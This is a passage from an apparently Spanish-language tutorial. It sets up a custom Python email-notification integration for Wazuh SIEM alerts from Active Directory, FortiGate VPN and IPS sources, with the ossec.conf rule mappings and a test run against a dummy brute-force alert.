            <span class="hljs-string">f"<span class="hljs-subst">{data.get(<span class="hljs-string">'title'</span>, <span class="hljs-string">'Alerta de Seguridad'</span>)}</span>"</span>,
            <span class="hljs-string">"="</span> * <span class="hljs-number">80</span>,
            <span class="hljs-string">f"PRIORIDAD: <span class="hljs-subst">{data.get(<span class="hljs-string">'priority'</span>, <span class="hljs-string">'MEDIO'</span>)}</span>"</span>,
            <span class="hljs-string">f"Rule: <span class="hljs-subst">{data.get(<span class="hljs-string">'rule_id'</span>, <span class="hljs-string">''</span>)}</span> (Nivel <span class="hljs-subst">{data.get(<span class="hljs-string">'rule_level'</span>, <span class="hljs-string">''</span>)}</span>)"</span>,
            <span class="hljs-string">f"Descripción: <span class="hljs-subst">{data.get(<span class="hljs-string">'rule_desc'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
            <span class="hljs-string">""</span>,
            <span class="hljs-string">f"INFORMACIÓN PRINCIPAL: <span class="hljs-subst">{data.get(<span class="hljs-string">'pivot'</span>, <span class="hljs-string">'N/A'</span>)}</span>"</span>,
            <span class="hljs-string">"-"</span> * <span class="hljs-number">50</span>
        ]

        <span class="hljs-keyword">if</span> alert_type == <span class="hljs-string">"active_directory"</span>:
            lines.extend(self._build_ad_text_info(data))
        <span class="hljs-keyword">elif</span> alert_type == <span class="hljs-string">"fortigate_vpn"</span>:
            lines.extend(self._build_fgt_text_info(data))
        <span class="hljs-keyword">elif</span> alert_type == <span class="hljs-string">"fortigate_ips"</span>:
            lines.extend(self._build_ips_text_info(data))
        <span class="hljs-keyword">else</span>:
            lines.extend(self._build_generic_text_info(data))

        lines.extend([
            <span class="hljs-string">""</span>,
            <span class="hljs-string">f"Agente: <span class="hljs-subst">{data.get(<span class="hljs-string">'agent_name'</span>, <span class="hljs-string">''</span>)}</span> (ID <span class="hljs-subst">{data.get(<span class="hljs-string">'agent_id'</span>, <span class="hljs-string">''</span>)}</span>)"</span>,
            <span class="hljs-string">f"Intentos: <span class="hljs-subst">{data.get(<span class="hljs-string">'fired_times'</span>, <span class="hljs-string">'1'</span>)}</span>"</span>,
            <span class="hljs-string">f"Timestamp: <span class="hljs-subst">{data.get(<span class="hljs-string">'timestamp'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
            <span class="hljs-string">""</span>
        ])

        <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"recommendation"</span>):
            lines.extend([
                <span class="hljs-string">f"RECOMENDACIÓN: <span class="hljs-subst">{data[<span class="hljs-string">'recommendation'</span>]}</span>"</span>,
                <span class="hljs-string">""</span>
            ])

        lines.extend([
            <span class="hljs-string">"ACCIONES SUGERIDAS:"</span>,
            <span class="hljs-string">"- Revisar actividad reciente en los logs"</span>,
            <span class="hljs-string">"- Verificar legitimidad con usuarios involucrados"</span>,
            <span class="hljs-string">"- Documentar en sistema de tickets"</span>,
            <span class="hljs-string">"- Aplicar medidas correctivas si es necesario"</span>,
            <span class="hljs-string">""</span>,
            <span class="hljs-string">"="</span> * <span class="hljs-number">80</span>
        ])

        <span class="hljs-keyword">return</span> <span class="hljs-string">"\n"</span>.join(lines)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_ad_text_info</span>(<span class="hljs-params">self, data: Dict[str, Any]</span>) -&gt; list:</span>
        <span class="hljs-string">"""Información de texto para AD"""</span>
        lines = []
        event_id = data.get(<span class="hljs-string">"event_id"</span>, <span class="hljs-string">""</span>)

        <span class="hljs-keyword">if</span> event_id <span class="hljs-keyword">in</span> (<span class="hljs-string">"4720"</span>, <span class="hljs-string">"4726"</span>):
            lines.extend([
                <span class="hljs-string">f"Usuario: <span class="hljs-subst">{data.get(<span class="hljs-string">'target_user'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
                <span class="hljs-string">f"SAM: <span class="hljs-subst">{data.get(<span class="hljs-string">'sam_account'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
                <span class="hljs-string">f"UPN: <span class="hljs-subst">{data.get(<span class="hljs-string">'user_principal'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
                <span class="hljs-string">f"Nombre: <span class="hljs-subst">{data.get(<span class="hljs-string">'display_name'</span>, <span class="hljs-string">''</span>)}</span>"</span>
            ])
        <span class="hljs-keyword">elif</span> event_id <span class="hljs-keyword">in</span> (<span class="hljs-string">"4732"</span>, <span class="hljs-string">"4733"</span>, <span class="hljs-string">"4728"</span>, <span class="hljs-string">"4729"</span>):
            privilege_note = <span class="hljs-string">" [GRUPO PRIVILEGIADO]"</span> <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"is_privileged"</span>) <span class="hljs-keyword">else</span> <span class="hljs-string">""</span>
            lines.extend([
                <span class="hljs-string">f"Miembro: <span class="hljs-subst">{data.get(<span class="hljs-string">'member_name'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
                <span class="hljs-string">f"Grupo: <span class="hljs-subst">{data.get(<span class="hljs-string">'group_name'</span>, <span class="hljs-string">''</span>)}</span><span class="hljs-subst">{privilege_note}</span>"</span>
            ])

        anon_note = <span class="hljs-string">" [ANONYMOUS LOGON]"</span> <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"is_anonymous"</span>) <span class="hljs-keyword">else</span> <span class="hljs-string">""</span>
        lines.extend([
            <span class="hljs-string">f"Ejecutado por: <span class="hljs-subst">{data.get(<span class="hljs-string">'subject_user'</span>, <span class="hljs-string">''</span>)}</span> [<span class="hljs-subst">{data.get(<span class="hljs-string">'subject_domain'</span>, <span class="hljs-string">''</span>)}</span>]<span class="hljs-subst">{anon_note}</span>"</span>,
            <span class="hljs-string">f"Equipo/DC: <span class="hljs-subst">{data.get(<span class="hljs-string">'computer'</span>, <span class="hljs-string">''</span>)}</span>"</span>
        ])

        <span class="hljs-keyword">return</span> lines

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_fgt_text_info</span>(<span class="hljs-params">self, data: Dict[str, Any]</span>) -&gt; list:</span>
        <span class="hljs-string">"""Información de texto para FortiGate VPN/Admin"""</span>
        geo_info = <span class="hljs-string">""</span>
        <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"country"</span>):
            geo_info = <span class="hljs-string">f" (<span class="hljs-subst">{data[<span class="hljs-string">'country'</span>]}</span>"</span>
            <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"city"</span>):
                geo_info += <span class="hljs-string">f" - <span class="hljs-subst">{data[<span class="hljs-string">'city'</span>]}</span>"</span>
            geo_info += <span class="hljs-string">")"</span>
            <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"is_high_risk"</span>):
                geo_info += <span class="hljs-string">" [PAÍS DE ALTO RIESGO]"</span>

        <span class="hljs-keyword">return</span> [
            <span class="hljs-string">f"IP Origen: <span class="hljs-subst">{data.get(<span class="hljs-string">'src_ip'</span>, <span class="hljs-string">''</span>)}</span><span class="hljs-subst">{geo_info}</span>"</span>,
            <span class="hljs-string">f"Usuario: <span class="hljs-subst">{data.get(<span class="hljs-string">'dst_user'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
            <span class="hljs-string">f"Vector: <span class="hljs-subst">{data.get(<span class="hljs-string">'vector'</span>, <span class="hljs-string">'Desconocido'</span>)}</span>"</span>,
            <span class="hljs-string">f"Dispositivo: <span class="hljs-subst">{data.get(<span class="hljs-string">'dev_name'</span>, <span class="hljs-string">''</span>)}</span> / <span class="hljs-subst">{data.get(<span class="hljs-string">'dev_id'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
            <span class="hljs-string">f"Estado: <span class="hljs-subst">{data.get(<span class="hljs-string">'status'</span>, <span class="hljs-string">''</span>)}</span>  Motivo: <span class="hljs-subst">{data.get(<span class="hljs-string">'reason'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
            <span class="hljs-string">f"Log: <span class="hljs-subst">{data.get(<span class="hljs-string">'log_desc'</span>, <span class="hljs-string">''</span>)}</span>"</span>
        ]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_ips_text_info</span>(<span class="hljs-params">self, data: Dict[str, Any]</span>) -&gt; list:</span>
        <span class="hljs-string">"""Información de texto para IPS"""</span>
        geo_info = <span class="hljs-string">""</span>
        <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"country"</span>):
            geo_info = <span class="hljs-string">f" (<span class="hljs-subst">{data[<span class="hljs-string">'country'</span>]}</span>"</span>
            <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"city"</span>):
                geo_info += <span class="hljs-string">f" - <span class="hljs-subst">{data[<span class="hljs-string">'city'</span>]}</span>"</span>
            geo_info += <span class="hljs-string">")"</span>
            <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"is_high_risk"</span>):
                geo_info += <span class="hljs-string">" [PAÍS DE ALTO RIESGO]"</span>

        <span class="hljs-keyword">return</span> [
            <span class="hljs-string">f"Tipo de Ataque: <span class="hljs-subst">{data.get(<span class="hljs-string">'attack_type'</span>, <span class="hljs-string">'IPS Detection'</span>)}</span>"</span>,
            <span class="hljs-string">f"Firma: <span class="hljs-subst">{data.get(<span class="hljs-string">'attack'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
            <span class="hljs-string">f"IP Origen: <span class="hljs-subst">{data.get(<span class="hljs-string">'src_ip'</span>, <span class="hljs-string">''</span>)}</span><span class="hljs-subst">{geo_info}</span>"</span>,
            <span class="hljs-string">f"IP Destino: <span class="hljs-subst">{data.get(<span class="hljs-string">'dst_ip'</span>, <span class="hljs-string">''</span>)}</span>:<span class="hljs-subst">{data.get(<span class="hljs-string">'dst_port'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
            <span class="hljs-string">f"Severidad: <span class="hljs-subst">{data.get(<span class="hljs-string">'severity'</span>, <span class="hljs-string">''</span>).upper()}</span>"</span>,
            <span class="hljs-string">f"Acción IPS: <span class="hljs-subst">{data.get(<span class="hljs-string">'action'</span>, <span class="hljs-string">''</span>).upper()}</span>"</span>,
            <span class="hljs-string">f"Protocolo: <span class="hljs-subst">{data.get(<span class="hljs-string">'protocol'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
            <span class="hljs-string">f"Dispositivo: <span class="hljs-subst">{data.get(<span class="hljs-string">'dev_name'</span>, <span class="hljs-string">''</span>)}</span> / <span class="hljs-subst">{data.get(<span class="hljs-string">'dev_id'</span>, <span class="hljs-string">''</span>)}</span>"</span>
        ]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_generic_text_info</span>(<span class="hljs-params">self, data: Dict[str, Any]</span>) -&gt; list:</span>
        <span class="hljs-string">"""Información de texto para alertas genéricas"""</span>
        <span class="hljs-keyword">return</span> [
            <span class="hljs-string">f"Ubicación: <span class="hljs-subst">{data.get(<span class="hljs-string">'location'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
            <span class="hljs-string">f"Decoder: <span class="hljs-subst">{data.get(<span class="hljs-string">'decoder'</span>, <span class="hljs-string">''</span>)}</span>"</span>,
            <span class="hljs-string">f"Grupos: <span class="hljs-subst">{data.get(<span class="hljs-string">'rule_groups'</span>, <span class="hljs-string">''</span>)}</span>"</span>
        ]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_build_subject</span>(<span class="hljs-params">self, data: Dict[str, Any]</span>) -&gt; str:</span>
        <span class="hljs-string">"""Construir asunto del email"""</span>
        prefix = self.config.get(<span class="hljs-string">"subject_prefix"</span>, <span class="hljs-string">"[Wazuh SIEM]"</span>)
        priority = data.get(<span class="hljs-string">"priority"</span>, <span class="hljs-string">"MEDIO"</span>)
        title = data.get(<span class="hljs-string">"title"</span>, <span class="hljs-string">"Alerta de Seguridad"</span>)
        pivot = data.get(<span class="hljs-string">"pivot"</span>, <span class="hljs-string">"N/A"</span>)
        level = data.get(<span class="hljs-string">"rule_level"</span>, <span class="hljs-string">""</span>)

        max_title_len = <span class="hljs-number">40</span>
        max_pivot_len = <span class="hljs-number">30</span>

        <span class="hljs-keyword">if</span> len(title) &gt; max_title_len:
            title = title[:max_title_len<span class="hljs-number">-3</span>] + <span class="hljs-string">"..."</span>
        <span class="hljs-keyword">if</span> len(pivot) &gt; max_pivot_len:
            pivot = pivot[:max_pivot_len<span class="hljs-number">-3</span>] + <span class="hljs-string">"..."</span>

        <span class="hljs-keyword">return</span> <span class="hljs-string">f"<span class="hljs-subst">{prefix}</span> <span class="hljs-subst">{priority}</span> • <span class="hljs-subst">{title}</span> • <span class="hljs-subst">{pivot}</span> • L<span class="hljs-subst">{level}</span>"</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_send_email</span>(<span class="hljs-params">self, message: MIMEMultipart</span>):</span>
        <span class="hljs-string">"""Enviar email con manejo robusto de errores"""</span>
        smtp_config = {
            <span class="hljs-string">"host"</span>: self.config[<span class="hljs-string">"smtp_host"</span>],
            <span class="hljs-string">"port"</span>: int(self.config.get(<span class="hljs-string">"smtp_port"</span>, <span class="hljs-number">587</span>)),
            <span class="hljs-string">"use_tls"</span>: bool(self.config.get(<span class="hljs-string">"use_tls"</span>, <span class="hljs-literal">True</span>)),
            <span class="hljs-string">"username"</span>: self.config.get(<span class="hljs-string">"username"</span>),
            <span class="hljs-string">"password"</span>: self.config.get(<span class="hljs-string">"password"</span>),
            <span class="hljs-string">"timeout"</span>: int(self.config.get(<span class="hljs-string">"timeout"</span>, <span class="hljs-number">30</span>))
        }

        recipients = self.config.get(<span class="hljs-string">"to"</span>, [])
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> recipients:
            <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">"No hay destinatarios configurados"</span>)

        self.logger.info(<span class="hljs-string">f"Enviando email a <span class="hljs-subst">{len(recipients)}</span> destinatarios via <span class="hljs-subst">{smtp_config[<span class="hljs-string">'host'</span>]}</span>:<span class="hljs-subst">{smtp_config[<span class="hljs-string">'port'</span>]}</span>"</span>)

        <span class="hljs-keyword">try</span>:
            <span class="hljs-keyword">if</span> smtp_config[<span class="hljs-string">"use_tls"</span>]:
                context = ssl.create_default_context()
                <span class="hljs-keyword">if</span> self.config.get(<span class="hljs-string">"insecure_skip_verify"</span>, <span class="hljs-literal">False</span>):
                    context.check_hostname = <span class="hljs-literal">False</span>
                    context.verify_mode = ssl.CERT_NONE
                    self.logger.warning(<span class="hljs-string">"Verificación SSL deshabilitada"</span>)

                <span class="hljs-keyword">with</span> smtplib.SMTP(smtp_config[<span class="hljs-string">"host"</span>], smtp_config[<span class="hljs-string">"port"</span>],
                                timeout=smtp_config[<span class="hljs-string">"timeout"</span>]) <span class="hljs-keyword">as</span> server:
                    server.ehlo()
                    server.starttls(context=context)
                    server.ehlo()

                    <span class="hljs-keyword">if</span> smtp_config[<span class="hljs-string">"username"</span>] <span class="hljs-keyword">and</span> smtp_config[<span class="hljs-string">"password"</span>]:
                        server.login(smtp_config[<span class="hljs-string">"username"</span>], smtp_config[<span class="hljs-string">"password"</span>])
                        self.logger.debug(<span class="hljs-string">"Autenticación SMTP exitosa"</span>)

                    server.sendmail(message[<span class="hljs-string">"From"</span>], recipients, message.as_string())
            <span class="hljs-keyword">else</span>:
                <span class="hljs-keyword">with</span> smtplib.SMTP(smtp_config[<span class="hljs-string">"host"</span>], smtp_config[<span class="hljs-string">"port"</span>],
                                timeout=smtp_config[<span class="hljs-string">"timeout"</span>]) <span class="hljs-keyword">as</span> server:
                    <span class="hljs-keyword">if</span> smtp_config[<span class="hljs-string">"username"</span>] <span class="hljs-keyword">and</span> smtp_config[<span class="hljs-string">"password"</span>]:
                        server.login(smtp_config[<span class="hljs-string">"username"</span>], smtp_config[<span class="hljs-string">"password"</span>])
                        self.logger.debug(<span class="hljs-string">"Autenticación SMTP exitosa"</span>)

                    server.sendmail(message[<span class="hljs-string">"From"</span>], recipients, message.as_string())

            self.logger.info(<span class="hljs-string">"Email enviado exitosamente"</span>)

        <span class="hljs-keyword">except</span> smtplib.SMTPAuthenticationError <span class="hljs-keyword">as</span> e:
            <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">f"Error de autenticación SMTP: <span class="hljs-subst">{e}</span>"</span>)
        <span class="hljs-keyword">except</span> smtplib.SMTPRecipientsRefused <span class="hljs-keyword">as</span> e:
            <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">f"Destinatarios rechazados: <span class="hljs-subst">{e}</span>"</span>)
        <span class="hljs-keyword">except</span> smtplib.SMTPException <span class="hljs-keyword">as</span> e:
            <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">f"Error SMTP: <span class="hljs-subst">{e}</span>"</span>)
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">f"Error enviando email: <span class="hljs-subst">{e}</span>"</span>)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">build_email</span>(<span class="hljs-params">self, alert: Dict[str, Any]</span>) -&gt; Tuple[MIMEMultipart, str]:</span>
        <span class="hljs-string">"""Construir mensaje de email completo"""</span>
        alert_type = self._detect_alert_type(alert)
        self.logger.info(<span class="hljs-string">f"Procesando alerta tipo: <span class="hljs-subst">{alert_type}</span>"</span>)

        <span class="hljs-keyword">if</span> alert_type == <span class="hljs-string">"active_directory"</span>:
            data = self._extract_ad_data(alert)
        <span class="hljs-keyword">elif</span> alert_type == <span class="hljs-string">"fortigate_vpn"</span>:
            data = self._extract_fortigate_vpn_data(alert)
        <span class="hljs-keyword">elif</span> alert_type == <span class="hljs-string">"fortigate_ips"</span>:
            data = self._extract_fortigate_ips_data(alert)
        <span class="hljs-keyword">else</span>:
            data = self._extract_common_data(alert)
            data[<span class="hljs-string">"title"</span>] = <span class="hljs-string">"Alerta de Seguridad Wazuh"</span>
            data[<span class="hljs-string">"color"</span>] = <span class="hljs-string">"#6366f1"</span>
            data[<span class="hljs-string">"priority"</span>] = <span class="hljs-string">"MEDIO"</span>
            data[<span class="hljs-string">"pivot"</span>] = <span class="hljs-string">f"Rule <span class="hljs-subst">{data[<span class="hljs-string">'rule_id'</span>]}</span> • <span class="hljs-subst">{data.get(<span class="hljs-string">'agent_name'</span>, <span class="hljs-string">'N/A'</span>)}</span>"</span>

        html_body = self._build_html_body(data, alert_type)
        text_body = self._build_text_body(data, alert_type)
        subject = self._build_subject(data)

        message = MIMEMultipart(<span class="hljs-string">"alternative"</span>)
        message[<span class="hljs-string">"Subject"</span>] = Header(subject, <span class="hljs-string">"utf-8"</span>)
        message[<span class="hljs-string">"From"</span>] = self.config.get(<span class="hljs-string">"from"</span>, <span class="hljs-string">"wazuh@localhost"</span>)
        message[<span class="hljs-string">"To"</span>] = <span class="hljs-string">", "</span>.join(self.config.get(<span class="hljs-string">"to"</span>, []))
        message[<span class="hljs-string">"X-Priority"</span>] = <span class="hljs-string">"1"</span> <span class="hljs-keyword">if</span> data.get(<span class="hljs-string">"priority"</span>) <span class="hljs-keyword">in</span> [<span class="hljs-string">"EMERGENCIA"</span>, <span class="hljs-string">"CRÍTICO URGENTE"</span>, <span class="hljs-string">"CRÍTICO"</span>] <span class="hljs-keyword">else</span> <span class="hljs-string">"3"</span>

        message.attach(MIMEText(text_body, <span class="hljs-string">"plain"</span>, <span class="hljs-string">"utf-8"</span>))
        message.attach(MIMEText(html_body, <span class="hljs-string">"html"</span>, <span class="hljs-string">"utf-8"</span>))

        <span class="hljs-keyword">return</span> message, subject

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">process_alert</span>(<span class="hljs-params">self, alert_file: str</span>):</span>
        <span class="hljs-string">"""Procesar alerta y enviar email"""</span>
        <span class="hljs-keyword">try</span>:
            alert = self._load_alert(alert_file)
            self.logger.info(<span class="hljs-string">f"Alerta cargada desde: <span class="hljs-subst">{alert_file}</span>"</span>)

            message, subject = self.build_email(alert)
            self.logger.info(<span class="hljs-string">f"Email construido: <span class="hljs-subst">{subject}</span>"</span>)

            self._send_email(message)
            self.logger.info(<span class="hljs-string">"Procesamiento completado exitosamente"</span>)

        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            self.logger.error(<span class="hljs-string">f"Error procesando alerta: <span class="hljs-subst">{e}</span>"</span>)
            <span class="hljs-keyword">raise</span>


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>():</span>
    <span class="hljs-string">"""Función principal"""</span>
    <span class="hljs-keyword">if</span> len(sys.argv) &lt; <span class="hljs-number">4</span>:
        print(<span class="hljs-string">"Uso: custom-email-unified &lt;alert_file&gt; &lt;api_key|''&gt; &lt;config_file&gt;"</span>, file=sys.stderr)
        print(<span class="hljs-string">""</span>, file=sys.stderr)
        print(<span class="hljs-string">"Ejemplos:"</span>, file=sys.stderr)
        print(<span class="hljs-string">"  custom-email-unified /tmp/alert.json '' /var/ossec/etc/email-config.json"</span>, file=sys.stderr)
        print(<span class="hljs-string">""</span>, file=sys.stderr)
        sys.exit(<span class="hljs-number">1</span>)

    alert_file = sys.argv[<span class="hljs-number">1</span>]
    config_file = sys.argv[<span class="hljs-number">3</span>]

    <span class="hljs-keyword">try</span>:
        notifier = UnifiedEmailNotifier(config_file)
        notifier.process_alert(alert_file)
        print(<span class="hljs-string">"Email enviado exitosamente"</span>)

    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
        print(<span class="hljs-string">f"ERROR: <span class="hljs-subst">{e}</span>"</span>, file=sys.stderr)
        sys.exit(<span class="hljs-number">1</span>)


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    main()
</code></pre>
<blockquote>
<p>Como puedes notar el script tiene la posiblidad de enviar sobre reglas de Active Directory tambien, algo que puedes implementar sin problemas. No dejen de instalar <strong>sudo pip3 install geoip2</strong>.</p>
</blockquote>
<p>Vamos a darle los permisos.</p>
<pre><code class="lang-python">sudo chown root:wazuh /var/ossec/integrations/custom-email-unified
sudo chmod <span class="hljs-number">750</span> /var/ossec/integrations/custom-email-unified
</code></pre>
<p>Por ultimo, vamos a agregar esto al <code>ossec.conf</code>.</p>
<pre><code class="lang-basic">  &lt;integration&gt;
    &lt;<span class="hljs-keyword">name</span>&gt;custom-email&lt;/<span class="hljs-keyword">name</span>&gt;
    &lt;hook_url&gt;/var/ossec/etc/email-config.json&lt;/hook_url&gt;
    &lt;level&gt;<span class="hljs-number">14</span>&lt;/level&gt;
    &lt;rule_id&gt;<span class="hljs-number">196207</span>,<span class="hljs-number">196222</span>,<span class="hljs-number">196228</span>&lt;/rule_id&gt;
    &lt;alert_format&gt;json&lt;/alert_format&gt;
  &lt;/integration&gt;

  &lt;!-- Desglose de reglas Level <span class="hljs-number">14</span>:
       - <span class="hljs-number">196207</span>: IPS - Ataque crítico NO bloqueado
       - <span class="hljs-number">196222</span>: IPS - Ransomware detectado
       - <span class="hljs-number">196228</span>: IPS - Múltiples ataques críticos en ráfaga
  --&gt;


  &lt;!-- ================================================
       NIVEL ALTO (Level <span class="hljs-number">10</span>-<span class="hljs-number">13</span>): Ataques Críticos
       - Ataques bloqueados de alta severidad
       - SQL Injection, RCE, malware, DoS/DDoS
       - Correlaciones de múltiples ataques
       ================================================ --&gt;
  &lt;integration&gt;
    &lt;<span class="hljs-keyword">name</span>&gt;custom-email&lt;/<span class="hljs-keyword">name</span>&gt;
    &lt;hook_url&gt;/var/ossec/etc/email-config.json&lt;/hook_url&gt;
    &lt;level&gt;<span class="hljs-number">10</span>&lt;/level&gt;
    &lt;rule_id&gt;<span class="hljs-number">196201</span>,<span class="hljs-number">196202</span>,<span class="hljs-number">196208</span>,<span class="hljs-number">196212</span>,<span class="hljs-number">196213</span>,<span class="hljs-number">196217</span>,<span class="hljs-number">196218</span>,<span class="hljs-number">196220</span>,<span class="hljs-number">196221</span>,<span class="hljs-number">196226</span>,<span class="hljs-number">196227</span>,<span class="hljs-number">196230</span>,<span class="hljs-number">196232</span>&lt;/rule_id&gt;
    &lt;alert_format&gt;json&lt;/alert_format&gt;
  &lt;/integration&gt;

  &lt;!-- Desglose de reglas Level <span class="hljs-number">10</span>-<span class="hljs-number">13</span>:
       - <span class="hljs-number">196201</span>: IPS - Ataque severidad CRITICAL (bloqueado)
       - <span class="hljs-number">196202</span>: IPS - Ataque severidad HIGH
       - <span class="hljs-number">196208</span>: IPS - SQL Injection
       - <span class="hljs-number">196212</span>: IPS - Buffer Overflow
       - <span class="hljs-number">196213</span>: IPS - <span class="hljs-comment">Remote Code Execution (RCE)</span>
       - <span class="hljs-number">196217</span>: IPS - DoS Attack
       - <span class="hljs-number">196218</span>: IPS - DDoS Attack
       - <span class="hljs-number">196220</span>: IPS - Malware detectado
       - <span class="hljs-number">196221</span>: IPS - Exploit attempt
       - <span class="hljs-number">196226</span>: IPS - Múltiples ataques desde misma IP
       - <span class="hljs-number">196227</span>: IPS - IP atacando múltiples objetivos
       - <span class="hljs-number">196230</span>: IPS - Ataque a puerto RDP (<span class="hljs-number">3389</span>)
       - <span class="hljs-number">196232</span>: IPS - [Personalizar <span class="hljs-keyword">seg</span>ún tu entorno]
  --&gt;


  &lt;!-- ================================================
       NIVEL MEDIO-ALTO (Level <span class="hljs-number">7</span>-<span class="hljs-number">9</span>): VPN y Eventos Sospechosos
       - Brute-force attacks
       - Conexiones desde países restringidos
       - Actividad fuera de horario
       - Posible compromiso de cuentas
       ================================================ --&gt;
  &lt;integration&gt;
    &lt;<span class="hljs-keyword">name</span>&gt;custom-email&lt;/<span class="hljs-keyword">name</span>&gt;
    &lt;hook_url&gt;/var/ossec/etc/email-config.json&lt;/hook_url&gt;
    &lt;level&gt;<span class="hljs-number">7</span>&lt;/level&gt;
    &lt;rule_id&gt;<span class="hljs-number">196100</span>,<span class="hljs-number">196101</span>,<span class="hljs-number">196104</span>,<span class="hljs-number">196105</span>,<span class="hljs-number">196112</span>,<span class="hljs-number">196113</span>&lt;/rule_id&gt;
    &lt;alert_format&gt;json&lt;/alert_format&gt;
  &lt;/integration&gt;

  &lt;!-- Desglose de reglas Level <span class="hljs-number">7</span>-<span class="hljs-number">12</span>:
       - <span class="hljs-number">196100</span>: FortiGate - Admin brute-force (<span class="hljs-number">6</span>+ intentos)
       - <span class="hljs-number">196101</span>: FortiGate - VPN SSL brute-force (<span class="hljs-number">10</span>+ intentos)
       - <span class="hljs-number">196104</span>: FortiGate - VPN desde múltiples IPs (compromiso)
       - <span class="hljs-number">196105</span>: FortiGate - VPN usuario monitoreado fin de semana
       - <span class="hljs-number">196112</span>: FortiGate - VPN desde país restringido
       - <span class="hljs-number">196113</span>: FortiGate - Admin login fuera de horario
  --&gt;
</code></pre>
<p>Reiniciamos el manager.</p>
<pre><code class="lang-basic">sudo systemctl restart wazuh-manager.service
</code></pre>
<h3 id="heading-prueba">Prueba</h3>
<p>Listo. Ahora si vamos a hacer las pruebas, para que las alarmas se disparen. Generamos la data dummy y ejecutamos.</p>
<pre><code class="lang-basic">cat &gt; /tmp/test-vpn-bruteforce.json &lt;&lt; <span class="hljs-comment">'EOF'</span>
{
  <span class="hljs-string">"timestamp"</span>: <span class="hljs-string">"2025-10-05T14:40:00.000Z"</span>,
  <span class="hljs-string">"rule"</span>: {
    <span class="hljs-string">"id"</span>: <span class="hljs-string">"196101"</span>,
    <span class="hljs-string">"level"</span>: <span class="hljs-number">12</span>,
    <span class="hljs-string">"description"</span>: <span class="hljs-string">"FGT: SSL VPN bruteforce from same IP (10+ attempts in 3min)"</span>,
    <span class="hljs-string">"groups"</span>: [<span class="hljs-string">"fortigate"</span>, <span class="hljs-string">"vpn"</span>, <span class="hljs-string">"bruteforce"</span>, <span class="hljs-string">"critical"</span>],
    <span class="hljs-string">"firedtimes"</span>: <span class="hljs-number">15</span>
  },
  <span class="hljs-string">"agent"</span>: {
    <span class="hljs-string">"id"</span>: <span class="hljs-string">"000"</span>,
    <span class="hljs-string">"name"</span>: <span class="hljs-string">"firewall-master"</span>
  },
  <span class="hljs-string">"manager"</span>: {
    <span class="hljs-string">"name"</span>: <span class="hljs-string">"wazuh-manager-prod"</span>
  },
  <span class="hljs-string">"data"</span>: {
    <span class="hljs-string">"srcip"</span>: <span class="hljs-string">"131.159.24.205"</span>,
    <span class="hljs-string">"remip"</span>: <span class="hljs-string">"131.159.24.205"</span>,
    <span class="hljs-string">"dstuser"</span>: <span class="hljs-string">"admin"</span>,
    <span class="hljs-string">"user"</span>: <span class="hljs-string">"admin"</span>,
    <span class="hljs-string">"status"</span>: <span class="hljs-string">"error"</span>,
    <span class="hljs-string">"reason"</span>: <span class="hljs-string">"authentication failed"</span>,
    <span class="hljs-string">"action"</span>: <span class="hljs-string">"ssl-login"</span>,
    <span class="hljs-string">"logdesc"</span>: <span class="hljs-string">"SSL VPN login fail"</span>,
    <span class="hljs-string">"method"</span>: <span class="hljs-string">"https"</span>,
    <span class="hljs-string">"ui"</span>: <span class="hljs-string">"https(131.159.24.205)"</span>,
    <span class="hljs-string">"devname"</span>: <span class="hljs-string">"FG-100F-PROD"</span>,
    <span class="hljs-string">"devid"</span>: <span class="hljs-string">"FG100FTK21002473"</span>
  },
  <span class="hljs-string">"decoder"</span>: {
    <span class="hljs-string">"name"</span>: <span class="hljs-string">"fortigate-firewall-v5"</span>
  },
  <span class="hljs-string">"location"</span>: <span class="hljs-string">"firewall-&gt;/var/log/fortigate.log"</span>
}
<span class="hljs-keyword">EOF</span>
</code></pre>
<pre><code class="lang-basic">sudo -u wazuh python3 /var/ossec/integrations/custom-email-unified   /tmp/test-vpn-bruteforce.json   <span class="hljs-comment">''   /var/ossec/etc/email-config.json</span>
</code></pre>
